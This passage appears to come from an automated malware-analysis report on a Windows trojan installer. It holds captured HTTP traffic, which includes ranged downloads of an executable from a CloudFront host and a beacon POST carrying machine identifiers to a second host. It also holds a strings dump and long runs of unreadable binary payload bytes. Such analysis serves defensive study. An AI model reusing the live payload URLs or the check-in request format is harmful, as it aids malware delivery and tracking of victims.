izp...w..\T.c.....}......A....9....r.a@7....LFm..S.../....UsC.....:R.\G....s...?.hF......7..;g...*T.X.U...*..n..UU..p.cY?}y8.<..8..5.).Bi.....b.......x.......j.;......a?o.....7...{.n.9....[..H.(....N.......3..b.........#?...h2c........EO..E...<..../..=../.Vc.L.:..gg{..L.8.a._2.C.....PFyQ..s....M....An.~LO@.......gL......5.N..b..R0[N.P.2.m.....??...}.o..-.....~>......]xwz_........&a...m.2...h..z.....(2......,u2.*.M..... n.u....a............_.{..WB...|.i....gh46Y.Z,.a...Y.O.......ce/..{...<..l...|.uG....M..1..Ie..
<<< skipped >>>
GET /smw9476dp.exe HTTP/1.1
Range: bytes=3500000-3749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d13s98z2lzti92.cloudfront.net
Connection: Keep-Alive
HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: public, max-age=3600, s-maxage=3600
Last-Modified: Tue, 07 Apr 2015 11:03:58 GMT
Accept-Ranges: bytes
ETag: "7057cf8b2271d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Fri, 11 Sep 2015 03:10:43 GMT
Content-Range: bytes 3500000-3749999/3973864
X-Cache: Miss from cloudfront
Via: 1.1 2b7e0587e76bdc8afc2d63bea659b942.cloudfront.net (CloudFront)
X-Amz-Cf-Id: LUCd7BGesWlrhcB5s5_aa3QL56TT50_kZ_8z0ufpuVlGS4aRWKKalg==
..a.....8%..............J...........*.......'...P.....C....l......p....|.4.c ..6.V....[9/|=..j.VNr....!.f^..............`....R.]....,2F~.....w9.]61..|..,Wu...77.,.ft#..~......!&N.|..mv..z.-.Io..{=.0.....,Ky.I.F.^h.......t..l..l.=,..n.X.-c.N...6?...5M.m...l.$l...h1.Q-.....3. cg.Vm...3..i1....t..H..(....Y0..P...{..M..!KBaq.,n....09.J............0....C.,....s...V.1.5.6...D...D........A`s.-.._Q^a.....C5.~.x..e^>d.$.,'r...0#.-6q..<......h.HMR.4.4]...,..x...L...V.!6..T<..D.B..-._q!!Ib.'..&C....K...[kl..C...*M*...h......../. -Y...g.UU..0..k:a....x.....<.c..........Z...fO.G..O}..8]K..........b..(..C...\....b....."..a......fF...iI."..^/.KO..2.d..?} 9.Q..^L%..#..k.`p}Y_M./....j'..h..............#..5Y.M..H-.Iu..^...#..I.*.i..2Xqx%.#..;.mZ..$.-*|.9L...f.`..;o...8..*.f./!i)T...O.Fj..NM....?ji..3gHp...(.@4.i.U.|........rG.(<d......2.........@..v|.2r....=vGXH.D..-v|..]r...?BYi......}..m....w....`KI.'...p/...q....N1.c..D.N.o......v...&%l.Y.".d..EUk......E....}......I19m&[".....~l.<.7..<.....m.........<.c..z".1........]p..tZ........?.n.x....eI....;)......,u..2...'...y.dY`xf.U...%.O&.V.D..(...V#E12....D.^jA..$Dk.T.e.>hL1..'tb3M..c,D.H=...cTsY..U_j_b...4.q.}lIh.u..3 ..a;[8.!<.....M..R.;_.:.....lr...Q..=...G.e.;O.x=F...[; ...d....d..=.t...../&.!..9\..A.=.../.A..R@_..Z"S.K. ..g....c..;!.Y.v.N..\............w.#S:..*t........T.E(.......(..Tv7..3|..b....g.|p!.....VY#.Nt.jC;)[.. ....%.q.....~L.O..pG.I...$.... 4....".....{.....H1...p..,...Q!.E..g..Q..4.8.$Y..rZQR.c.........d.L>., .....x.d...V.Pjk.U..H...
<<< skipped >>>
GET /smw9476dp.exe HTTP/1.1
Range: bytes=3750000-3973863
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d13s98z2lzti92.cloudfront.net
Connection: Keep-Alive
HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 223864
Connection: keep-alive
Cache-Control: public, max-age=3600, s-maxage=3600
Last-Modified: Tue, 07 Apr 2015 11:03:58 GMT
Accept-Ranges: bytes
ETag: "7057cf8b2271d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Fri, 11 Sep 2015 03:10:43 GMT
Age: 1
Content-Range: bytes 3750000-3973863/3973864
X-Cache: Hit from cloudfront
Via: 1.1 2b7e0587e76bdc8afc2d63bea659b942.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 4S_FMAw10hfJbU-JSXEn696hrP8jXFNpBDtZhFaOrkVVdY71DrhoXw==
S....V..j...#P.....&..'.......6;.|a=...|.n:.O.<......9KOn.C_......,..1...f...m..Z......hy....E..{.q.O.A.X.`{......._.=N%.Y.R.g...K2~..q.{..:.9.<...i..00.?..4WW..L.4.&.K.1.-..L...!S.fL...i.."..R.u..........O.o.D..x...k......a...wh.h4.`.Q...."0B'.}.'.... )..:.x>H.g..~@... . ...OIj.9j_g........0.......(.s7..."..{.h4.T."...5.$r,:.i..D..%..a......OC....~k>...B.E..AdaN..S|s.iI........fi.Abp.Y.N'.c.7.9.....'.&[.......Iy.?..6..(.:.6.......4(c^oQ;.1....PRE......pn..j."ku...0...].A......),...e....HK&..N^e......Y...F-..N....k..Lh*...`....L...kU..qc....V..w...1.../.......?.<.}5j.Xyn.....)G..g....WImj.m.....H......'~.NU.Z..R.^.....)...|.V...d...M..k{.*....8......C..K.OS&q3/#.).n........_..6.t.h.j..Ob..V.gr.v r..X.2.W.^A `y..rr.pn..9'.w........._l..u#.s.w...;P...tlEf..G...g...~.I..k.../.;..|...H..s...6r.......>w...5%t.X.....9<]b......4A..,....Fhb.J..|-.}........F.C^.k...6.a..........y.@l.._..L.8.#U.........RWc3doi.zT... ."CJW...5..F.n......hN C.Z.5.%@...b|..T....o.$.b.p......X....%..yiq..6~G........Bk...E..=(...6T.<..M....9@%.yj1..}O..S.).....M...U.T.W.w:<4..aO.]....EO..*PVbz...........|..^.G. ..2...|.,.y..@.............*a.......7..YM..- ....d.....{.n.Y..Z.I.*/.u...$......4.*_L...k86.`.s.!.........7..H.' .*...T67ik2..E...x...R...×..1..5E.-..x......\J{...M!/..2s...._..J..W.dm......S..4Y.ak..V....'FK0...4...>PD6-......dn..x.F.8k. A.[..l....V..o..oH.t....Z..P.x...^..>........8......m.F?j..;.....Gb(...c.. .....q...Os.([.g=.2...^/..lV.aE.lJ..I...|...D.9....:'.Y........Z.....U...!}.".].. l.N....[
<<< skipped >>>
GET /smw9476dp.exe HTTP/1.1
Range: bytes=250000-499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d13s98z2lzti92.cloudfront.net
Connection: Keep-Alive
HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: public, max-age=3600, s-maxage=3600
Last-Modified: Tue, 07 Apr 2015 11:03:58 GMT
Accept-Ranges: bytes
ETag: "7057cf8b2271d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Fri, 11 Sep 2015 03:10:38 GMT
Content-Range: bytes 250000-499999/3973864
X-Cache: Hit from cloudfront
Via: 1.1 1f8a17c41295fac39556a328869a62bd.cloudfront.net (CloudFront)
X-Amz-Cf-Id: yx-OWZD2VXpILIisHth3g8zvuvx_fXc8OOU_vo72cmMIYjJi3CBGHQ==
HTTP/1.1 206 Partial Content..Content-Type: application/octet-stream..Content-Length: 250000..Connection: keep-alive..Cache-Control: public, max-age=3600, s-maxage=3600..Last-Modified: Tue, 07 Apr 2015 11:03:58 GMT..Accept-Ranges: bytes..ETag: "7057cf8b2271d01:0"..Server: Microsoft-IIS/7.5..X-Powered-By: ASP.NET..Date: Fri, 11 Sep 2015 03:10:38 GMT..Content-Range: bytes 250000-499999/3973864..X-Cache: Hit from cloudfront..Via: 1.1 1f8a17c41295fac39556a328869a62bd.cloudfront.net (CloudFront)..X-Amz-Cf-Id: yx-OWZD2VXpILIisHth3g8zvuvx_fXc8OOU_vo72cmMIYjJi3CBGHQ==......qS..4..e....7..*.`5....X..JW..1..Y.....~oMH.h^I..4.D... SqS..........'.6..../..w'.~...g.Z..k9(FT.D*\..9..v.wUwddjAY....,.5.......<..6o.tS.....1n........%......v.).}..}.q.k.7H...V.D..HhD..t.e..NZ.yD."..^.s}....y.S......J/\5(.....E...1B8O.7g'...G#...d.....b....f...\...6......-..CU.qPz.C.......D...B}n]6.w}....W.E..h<...s .S.exKL.......$.v7..|....m.....8.......f[n.[.y...t.(2......7...;^9.Q....3S.Z..........r....|.;,...O 7`-O.t......7.-3M.94n.Ry...A.U%......`.....`(..q..i...69as^.$J.5.T.............gXy$zV.0..e.~.,B.hN.k...<.a.....@...d.Ps...@.......t.2....U...N?...~./...K.Z.....j.1.5c..R}@J....).:......^.s......D......P;y...`.L..y~r...x..V.f....Xi..J..-Fp...1...............k'y.~..m1....V..E._.L.}c....0,.....V.K5. .....f..K.ba.V...P.I@.jU?o......x.A....h.pV.I.".T....bV.?...Rs.E].H.....`....sr.9 Z'.z.=. .d.`.......0....[..P..T.7V..ROo.j...?.....>.F.D...v.?....~Qu.FI..8.ej.m~..."E..Z........ik...ssj..`.'.F..j..........8...Ad...(nn....(.*.F..s.-..
<<< skipped >>>
GET /smw9476dp.exe HTTP/1.1
Range: bytes=1000000-1249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d13s98z2lzti92.cloudfront.net
Connection: Keep-Alive
HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: public, max-age=3600, s-maxage=3600
Last-Modified: Tue, 07 Apr 2015 11:03:58 GMT
Accept-Ranges: bytes
ETag: "7057cf8b2271d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Fri, 11 Sep 2015 03:10:39 GMT
Content-Range: bytes 1000000-1249999/3973864
X-Cache: Miss from cloudfront
Via: 1.1 1f8a17c41295fac39556a328869a62bd.cloudfront.net (CloudFront)
X-Amz-Cf-Id: Fe2Lv6j8tP0DGi1n1dLaRQZErD2JwBTV5iXPxfEsA2xDGWioyoFh3A==
HTTP/1.1 206 Partial Content..Content-Type: application/octet-stream..Content-Length: 250000..Connection: keep-alive..Cache-Control: public, max-age=3600, s-maxage=3600..Last-Modified: Tue, 07 Apr 2015 11:03:58 GMT..Accept-Ranges: bytes..ETag: "7057cf8b2271d01:0"..Server: Microsoft-IIS/7.5..X-Powered-By: ASP.NET..Date: Fri, 11 Sep 2015 03:10:39 GMT..Content-Range: bytes 1000000-1249999/3973864..X-Cache: Miss from cloudfront..Via: 1.1 1f8a17c41295fac39556a328869a62bd.cloudfront.net (CloudFront)..X-Amz-Cf-Id: Fe2Lv6j8tP0DGi1n1dLaRQZErD2JwBTV5iXPxfEsA2xDGWioyoFh3A==...4... ..]..E.....X.>$....q....%.N...u.k..p4........!...t..[.R....I.B......X.Hbx.;F.>v`.H.#.I..;E..L.Q.eN.. ..h=.j.M..sJ...Bq..;a.......L.....f.r.}....st n..~5rL.5.<Z....Z..).X.R....K.t..E...f.?.....nT.k....2M....X;....s.$Q...6Z..R..3.cY.>..-..@...Xbo..-.....x6.1R.O.796..7...g`....T....."..;.<..KV.!Y.d.z..(.........hi"O.....@..J...x_)p.:..jk.N..5OWM..[......S:'.m$.....'.1Be......X.L.H'>..~...a.tk...VQ.. .K'.(.Fp%..v..`.:..K.=..hp.5.....M..) .I.K..S.Z.9.x.U7z..M. m..FA....c....yo..b...1.9#1. H..L....c.b....qj.....>.....C..N.).A$..;...}.I...p.r.H...(.s]|0...[..(.8r..<^5a...A.....j]...c.... R..$(.f2u..Cx-..`.C.|B$N:.}.F.`b.d..o0P.r...f..3...............JoM9..$...Y:.......1..............O6...E O#.K6{.?$-....wU...L....R.L.k.|...5BH8...HK.>....&.`..;.kE.bt..w ...".OS.|..^.6Oa....o=......$...j\.M..B.O).').....&...4..1.~..X.......lM...[.....<]. ...o...j.p.w2.U.w...a..!....x.kW..".. .]:.....${s......qz..........(.h.z........k..}.[.
<<< skipped >>>
GET /smw9476dp.exe HTTP/1.1
Range: bytes=1500000-1749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d13s98z2lzti92.cloudfront.net
Connection: Keep-Alive
HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: public, max-age=3600, s-maxage=3600
Last-Modified: Tue, 07 Apr 2015 11:03:58 GMT
Accept-Ranges: bytes
ETag: "7057cf8b2271d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Fri, 11 Sep 2015 03:10:39 GMT
Age: 1
Content-Range: bytes 1500000-1749999/3973864
X-Cache: Hit from cloudfront
Via: 1.1 1f8a17c41295fac39556a328869a62bd.cloudfront.net (CloudFront)
X-Amz-Cf-Id: qH_ZpLb5Z7Sq-x-W6I2MxRqYo0ninlo0aIhfmucJbFToHnE06RxBYA==
.[........_T....8rxU....6........b.:...%p`..W.4]......Ev.=D..g..H..#...67{..K6.}.6..Q6..z....T.._....1L....s... *...D;..0F..R.x.T.7k....G.Xc..;.)......^..Wh..]...cU...O....c..[~.Y.1 ........ \...c..[..M..K.....qx.~...P..j.._]."U..ve&...5.tc..h..r[..."...S.d...D7f:.[.....-..{..........c....R..'D..B......=E......E..L..pI.....=4.........y_.V....{....^2$...n.......L.c.p.....y[(..ZKMGG..@..T........Q...)A0o8.........i=7..0....peS........2.sx..?L....e {f..r..(gz.w(C...K>....W.....s..!.<$..w.MR..%`j...l...Q@K..|".Q............K.....~&.Kj6w...q...G...~.DT4.E..........~.....Pp Q.U...S.......4...-.V..n...k...X..%g.E.R.].._W..M..-.k.PX...z.-3..........L`.{V......)...N0.K..A...H"pN]%.......d.`..c-G}.Z.B....e......M..Z.o....T.y.`..j.t...G......f.j....L.....?{.....-.....I,....=....G..a.......K4.......P^.%...i..N1..Y..V...,\.W.o....,A....[O'...:.e!....J.......#.U......i....}>!!.iJB9j.........8.6VD.*x..H...>S<...W.>.9.9(2.F.9..]7..)Gx.S...[.......O....U=K......r...s7....<6.......7.h.SSJ..V.N....u...).cz..,x6..EX...{p....~`6.v=..M "..s.K.=3(U......8..^@.Y....q\..#V8A7<.Qk..,..AK.EE....u...F.~...vT...T..s.61...zzq.....2.s,.......A1..*&..A....~..8@~$.O}...f.pu@.....8.........2.k.tj.......4.x.......}..d.........N...3....5......]..EG.3~..`.=.(.....0&o.L8...Q.../{.$..l...znm.pi*.B....HD...........T.%....j...#...}R O..|.@.T... ............oyW.w..6. .8&Z....B.S.P..=Y.....9...Yu.c..A'..`......L.>.....Z.5.....I..4... .a..zYB....H.{.z.L.mZ.|..8..d;[bhI..Y.....j...<X"...W.l.".).y>.......YR..&."XPg.<...c
<<< skipped >>>
GET /smw9476dp.exe HTTP/1.1
Range: bytes=2000000-2249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d13s98z2lzti92.cloudfront.net
Connection: Keep-Alive
HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: public, max-age=3600, s-maxage=3600
Last-Modified: Tue, 07 Apr 2015 11:03:58 GMT
Accept-Ranges: bytes
ETag: "7057cf8b2271d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Fri, 11 Sep 2015 03:10:40 GMT
Content-Range: bytes 2000000-2249999/3973864
X-Cache: Miss from cloudfront
Via: 1.1 1f8a17c41295fac39556a328869a62bd.cloudfront.net (CloudFront)
X-Amz-Cf-Id: F6dfhyCpNdSr94ku237EnVXtTUU7_y85okZ20iC1wFYk8knmtovRrA==
E{...........D..2. A.z.Y.a.>.8..U"*..>.v.[.].K..(....K...O....0.*`.`8.Y.P...u5..c.K..1jJ.y.p[..p.9O1.y..EV..d.ds.....O..6..0.......@m.*.@ Z...J..@.x...t..hD..A.~...%..h...X..p_.V....@.n*..n..,....HG)....6...{..S..ys...#C4...&3.<...Q. ..qk7.....A...I.#..Z...1.4r..e".&.E...l.a]&.ld.kMt]`...n..\....s._.;.......MfI.....1....S......^j...s.P.......#.......W.....{.....'...*......8.QZ...w.q....a8.5..d...;....?..#...-...P....5......^j...y..I.z......W...i.[y..........F.[NO*.1..J.3...n..h.]....[........7..e`..3.}...(...;.......o..@,...6n...e Us..@[...#..Yw.e..9...$....~HN.......lZi...H.~d..O...k.....jk.}.@#...e.4.M}...V......u...s..N2.H[6.?.^......gB.;.... r.C..m.I.&...P...E.$...`t..j*..t_....L......l...1....>.|....d...dL.^.....Re&~.^.k..Y...xz..A/...].(.o....N.j..&d.<.... .7..D...rA....Y....p.|.....U.......o..z.....#.xN...e.yr.Xto.d(.9..n.....6%m..[)b.......L.Lc8F..~..J.......u...=........u..*...@.p.?....h...K..Wh[.Q6Axt.;......}......2..pv..sf.>..[EW.i\.S|B.....k~..o..T.v.x..o...q6~6.E0......9.$.d.#S[...E.x.i...........:.15t.....E...il.._..Y....3.S.jLij.w......7.[..1.).?F......D1..t;pz..W..C_.......^.3...]Jb.....K1>|.y."...]"P.q..;...{.X.zQ.D....E..z....aD>8.."..V*. ..c.Z.vA...8....R...fW..>....1...|. -aa.....S...*.....p6k%.....Eqi.<.%.#..c...r..:U.h......&J..0...v-.....P..G....J..^.R..$a.....U.......C.?".......N...#......>Q.....2.....7p....T..$?3..1{#..c.Uj....Y...YFRM......TJ.....gG.&*nd%.=.z..v..Q.`5..A..@_.{..O........).......@..M[.x..7....~.....RI.3S...1.g.k..~JV|...3.{........7.l..
<<< skipped >>>
GET /smw9476dp.exe HTTP/1.1
Range: bytes=2250000-2499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d13s98z2lzti92.cloudfront.net
Connection: Keep-Alive
HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: public, max-age=3600, s-maxage=3600
Last-Modified: Tue, 07 Apr 2015 11:03:58 GMT
Accept-Ranges: bytes
ETag: "7057cf8b2271d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Fri, 11 Sep 2015 03:10:42 GMT
Content-Range: bytes 2250000-2499999/3973864
X-Cache: Miss from cloudfront
Via: 1.1 1f8a17c41295fac39556a328869a62bd.cloudfront.net (CloudFront)
X-Amz-Cf-Id: rsVk4WV9TIsOi1fwonzCSOQIj2bEy95u6zKc_oOu3UY7svOiba1QTg==
HTTP/1.1 206 Partial Content..Content-Type: application/octet-stream..Content-Length: 250000..Connection: keep-alive..Cache-Control: public, max-age=3600, s-maxage=3600..Last-Modified: Tue, 07 Apr 2015 11:03:58 GMT..Accept-Ranges: bytes..ETag: "7057cf8b2271d01:0"..Server: Microsoft-IIS/7.5..X-Powered-By: ASP.NET..Date: Fri, 11 Sep 2015 03:10:42 GMT..Content-Range: bytes 2250000-2499999/3973864..X-Cache: Miss from cloudfront..Via: 1.1 1f8a17c41295fac39556a328869a62bd.cloudfront.net (CloudFront)..X-Amz-Cf-Id: rsVk4WV9TIsOi1fwonzCSOQIj2bEy95u6zKc_oOu3UY7svOiba1QTg==....5...N.au....H...E.....Z..a..;...h.<.P.{....S.0.....;...*.(d~O.t._.S.D.....*F.`q.b.../~<.X..T........'.{.f..0..*.lD.<...NR.B'.2?.#.|CJ>Py..{$.k..{.'..L|..,.\).>..Y.{.~_.*P:?BO>.:JN....z[..g...}....SX.L.Z..j.........}x.8...r....V.........>_..e!V....W .. VQ...t....Mb;.yV.U....=.`C........G..n.p..y4....^.|.@.%..3....z..$.p..reu<?..W.......9...}..F.....u.. ..u....qwI.%{.{.....B8.I.....u.....\.h:Wz.i..... ..M6..>..<.#N#SyQJ....,.'..!T.....m..25..7......~y.....h.>....i...).........3'_......oc....'.o.-.......D.R.U'.......[.K.;...........n,.^.|vFw$.B....y..^Lt.....M.........E.Qb|S..I.-.o.}od.X.c.8y....wls...j.....\.?Q<n.;..n.h"j\.j...<7.......^&4?!p#g..&..>c.^......n)E...F....v.3O......t.!6;[O.>R?Q...V...._.dk[..X.....'4./Vc........k"B3x@W....\.........m..Y.US.......W\>.G.........Ty.dR.w....m...o!...-...V.X...0o.[9./*.,...%.&.CX..H6=.......t...,kk/.A.f.jqbu.w..j....q| ...#N.....$.9E1b#6...O.. ..G...............
<<< skipped >>>
GET /smw9476dp.exe HTTP/1.1
Range: bytes=3000000-3249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d13s98z2lzti92.cloudfront.net
Connection: Keep-Alive
HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: public, max-age=3600, s-maxage=3600
Last-Modified: Tue, 07 Apr 2015 11:03:58 GMT
Accept-Ranges: bytes
ETag: "7057cf8b2271d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Fri, 11 Sep 2015 03:10:43 GMT
Content-Range: bytes 3000000-3249999/3973864
X-Cache: Miss from cloudfront
Via: 1.1 1f8a17c41295fac39556a328869a62bd.cloudfront.net (CloudFront)
X-Amz-Cf-Id: kKEwrWvLGePtsd7F-u3gTILwjicbwscNM7-K2CcKu9cjsM4wPNPRXQ==
HTTP/1.1 206 Partial Content..Content-Type: application/octet-stream..Content-Length: 250000..Connection: keep-alive..Cache-Control: public, max-age=3600, s-maxage=3600..Last-Modified: Tue, 07 Apr 2015 11:03:58 GMT..Accept-Ranges: bytes..ETag: "7057cf8b2271d01:0"..Server: Microsoft-IIS/7.5..X-Powered-By: ASP.NET..Date: Fri, 11 Sep 2015 03:10:43 GMT..Content-Range: bytes 3000000-3249999/3973864..X-Cache: Miss from cloudfront..Via: 1.1 1f8a17c41295fac39556a328869a62bd.cloudfront.net (CloudFront)..X-Amz-Cf-Id: kKEwrWvLGePtsd7F-u3gTILwjicbwscNM7-K2CcKu9cjsM4wPNPRXQ==........BUPE.-4...N.(.....i.n.t.......hU"...@".*d..:...<(d-...4G2-..:..%y..cyIA...J...<.....TU.#.T.,c..\5....D..M":...Pk.H.... ..ol6$.7....k.3B.f (!.a7.....f..6C\.2eU....w.N.........1C..nQ.9F.]g/....&....$...ra .Acr0.>,.... XB.q...!,....F2..^y....R`.n1n....Q..!Q..f9tnZ..E........../7@.......#,F......M._.W.n;l.....[......'...N....j..}Hk.|...z.G"akK......6..J........x..Kj...\...Q.j.a...4.i>^..........fZ........C|.,eA......._.m....>V,..|8.......T....~.............y.7\-.]<Yx ..#..b..(....m..d...@JWw..J7.:........n.6...........o?Mu...-...h.Plh.....Q.....%..L.9....|.6^.;.].8.i..vn.h<,.{........1....X.H.8....m.w..5c...ur..!.....B......J.......8j.z'.D.".....:.b0.S...(*.3N..".p..t.....3c..!...<..Y.U............7G.(.......uyl..:..O{.-..~.[=.f.V....Z.?.I..2...m.C4...H...g.8........ ..\..A..f...m..W....?..,L.....!..r.!m.!.D.T......i](.C....a,.v{........^......s..n..".3....|..r.?n...........E.a.6.Xq..F5.(%D....9...'.....A.].8..b]...j....zt...
<<< skipped >>>
POST /br.ashx?pid={PID}&aid={AID}&ss=0&s=F8VzSMTDK0,99999999-9999-46a2-b7a0-a6b4c690ad39,&v=2.1.9.476&md5=770da9fccdbb44323d6993ad4d2fb18f&mid=A0A7AiA9A7AAA1AiA7ieA1A91J7L773DiLAiiAA13D1J&uid=DAF10D0E-26DD-4DF3-84E9-AA519AA0779F HTTP/1.0
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.0)
Host: d23ocewf5ttxmu.cloudfront.net
Content-Length: 2314
Connection: Keep-Alive
Pragma: no-cache
d=noFdkfdcv3Yi7X/eGKOdMF7z0MnsdbqbsSyODdSY/DIbViXK5jhj4dr20FyJLtgsX9P3IJ3OzCe4yA1281K3TK/sY6OmonURwbM7KzVpqDNsenWyv5MJMpSBXHqlm4gd4ahW/Hk9mbu1vDysH oiTbn/SjIOX9eBcUnfEKbUfldKI/UtnY3uio58A3LPU/01yk tNLAJNB4Cs6tM0ysNPFIgdgTJvl3hMn2LN5ZMxVp17p7eV5iCxnxGJMyD7CNv9BzfbD/elCnpOgWUq2ppd89VN9tpoxEdVaTilu5tIY3pHKc75bskWKjfoL3YEA0j8GZO81EOUpDdc8UjXwFSdirS9cbTwEgCAK6XflhJSU8woQTsP5YIYANA46SKwUsQtiwSzrSroUlnfq1QxJ gwk/iUuUm06LVyrnlhLnG7dR/1hm5WzHuRAaB8Ch3EjkcGJ2Z0Co9b jNvK052fEFapX0Nac96SowrrcpDDou6RqcMTI3jQK9CDhaMLJQy1xbfJV5wbIZ1NqBz g/f0zzxz2/2zDj0jo9dDzDygaAm9g143A8QfzVc/l7ysgTz3sOxTFkwKL8mMe9b2OPxavqPmTve6T3eCe1A48YnDMGtXUfxilUSeSvZKPGbiJ2jHVV3WbZUsPCp8/PXy8EqNMEnmLaTi53hEMz7sZTIeKBJlTZzN4hiBaDNgH45XlOh/EAu6R8F0dQ0CzwYe6wFLXA8CJT1d7kg/FuGsCKMJfhim0fjU9qhlzPcoZxeqq/cgxvWXVEGXDlFTnLgsRZbS4fEODoltEsUZiZXWN6NFNKjPrbKrk1spkG5exBmoq YCBEoW/Jobsd7jdcSY7s9CsH1Qrt75d5QiHBb0aWYFuLOzkTamE1UmmAPqwxd87NEmXrct2vqYhOj/Cen/XJUrrmI6oHReeZIcblU1yFRO69E1XxYDu5ReBSqbNjSi9I6gwvLyNp19OpTnbrbSxQyDrvIYqjknW0j0yKETgJ0t2GG5kCIlBxSbNC1vmDWimzuoY5WoWvuYW ljsAhd dJ54hepf0QqfnGcv0BaqQ2l3qYu41woY4SyZOicj
HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private,no-cache, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Fri, 11 Sep 2015 03:12:24 GMT
X-Cache: Miss from cloudfront
Via: 1.1 1f3fb60768611bd03244cf06312d5a9c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: Hq4z9Tlw6gXUJkWPwtGEHA-UG7g7BE09oAp-UjhkAECVZrRk-wYjeA==
Map
The Trojan connects to the servers at the folowing location(s):
Strings from Dumps
%original file name%.exe_372:
.text
.text
`.rdata
`.rdata
@.data
@.data
.rsrc
.rsrc
@.reloc
@.reloc
D$@j.Xf
D$@j.Xf
OtSSh
OtSSh
VQSSh
VQSSh
PSSSSSSh
PSSSSSSh
t!SSh|
t!SSh|
PSSSSh
PSSSSh
9>t.hH
9>t.hH
j.Yf;
j.Yf;
_tcPVj@
_tcPVj@
.PjRW
.PjRW
broken pipe
broken pipe
inappropriate io control operation
inappropriate io control operation
not supported
not supported
operation in progress
operation in progress
operation not permitted
operation not permitted
operation not supported
operation not supported
operation would block
operation would block
protocol not supported
protocol not supported
function not supported
function not supported
operation canceled
operation canceled
address_family_not_supported
address_family_not_supported
operation_in_progress
operation_in_progress
operation_not_supported
operation_not_supported
protocol_not_supported
protocol_not_supported
operation_would_block
operation_would_block
address family not supported
address family not supported
operator
operator
GetProcessWindowStation
GetProcessWindowStation
dbghelp.dll
dbghelp.dll
%Y-%m-%dT%H:%M:%SZ
%Y-%m-%dT%H:%M:%SZ
1.3.6.1.4.1.311.2.1.12
1.3.6.1.4.1.311.2.1.12
Cannot put the trigger ID: %x
Cannot put the trigger ID: %x
{X-hX-hX-XX-XXXXXX}
{X-hX-hX-XX-XXXXXX}
Host Name: %s
Host Name: %s
Domain Name: %s
Domain Name: %s
DHCP scope name: %s
DHCP scope name: %s
GetNetworkParams failed with error: %d
GetNetworkParams failed with error: %d
WinHttpGetIEProxyConfigForCurrentUser failed with the following error number:
WinHttpGetIEProxyConfigForCurrentUser failed with the following error number:
ERROR_WINHTTP_INTERNAL_ERROR
ERROR_WINHTTP_INTERNAL_ERROR
AutoConfigURL (MyProxyConfig.lpszAutoConfigUrl) is:
AutoConfigURL (MyProxyConfig.lpszAutoConfigUrl) is:
AutoConfigURL (MyProxyConfig.lpszProxy) is:
AutoConfigURL (MyProxyConfig.lpszProxy) is:
AutoConfigURL (is:
AutoConfigURL (is:
550e832f-a497-4eb7-bb40-8cc856f6d152
550e832f-a497-4eb7-bb40-8cc856f6d152
RegCreateKeyTransactedW
RegCreateKeyTransactedW
RegOpenKeyTransactedW
RegOpenKeyTransactedW
RegDeleteKeyTransactedW
RegDeleteKeyTransactedW
RegDeleteKeyExW
RegDeleteKeyExW
C:\BUILDS\Build_STUB\Installer\Release_YTDK\YTDKi.pdb
C:\BUILDS\Build_STUB\Installer\Release_YTDK\YTDKi.pdb
GetProcessHeap
GetProcessHeap
GetWindowsDirectoryW
GetWindowsDirectoryW
KERNEL32.dll
KERNEL32.dll
EnumThreadWindows
EnumThreadWindows
EnumChildWindows
EnumChildWindows
MsgWaitForMultipleObjectsEx
MsgWaitForMultipleObjectsEx
GetKeyboardLayoutList
GetKeyboardLayoutList
USER32.dll
USER32.dll
WS2_32.dll
WS2_32.dll
GDI32.dll
GDI32.dll
RegCloseKey
RegCloseKey
RegOpenKeyExW
RegOpenKeyExW
RegEnumKeyW
RegEnumKeyW
RegCreateKeyExW
RegCreateKeyExW
RegDeleteKeyW
RegDeleteKeyW
RegQueryInfoKeyW
RegQueryInfoKeyW
RegEnumKeyExW
RegEnumKeyExW
RegOpenKeyW
RegOpenKeyW
RegNotifyChangeKeyValue
RegNotifyChangeKeyValue
ADVAPI32.dll
ADVAPI32.dll
ShellExecuteExW
ShellExecuteExW
ShellExecuteW
ShellExecuteW
SHELL32.dll
SHELL32.dll
ole32.dll
ole32.dll
OLEAUT32.dll
OLEAUT32.dll
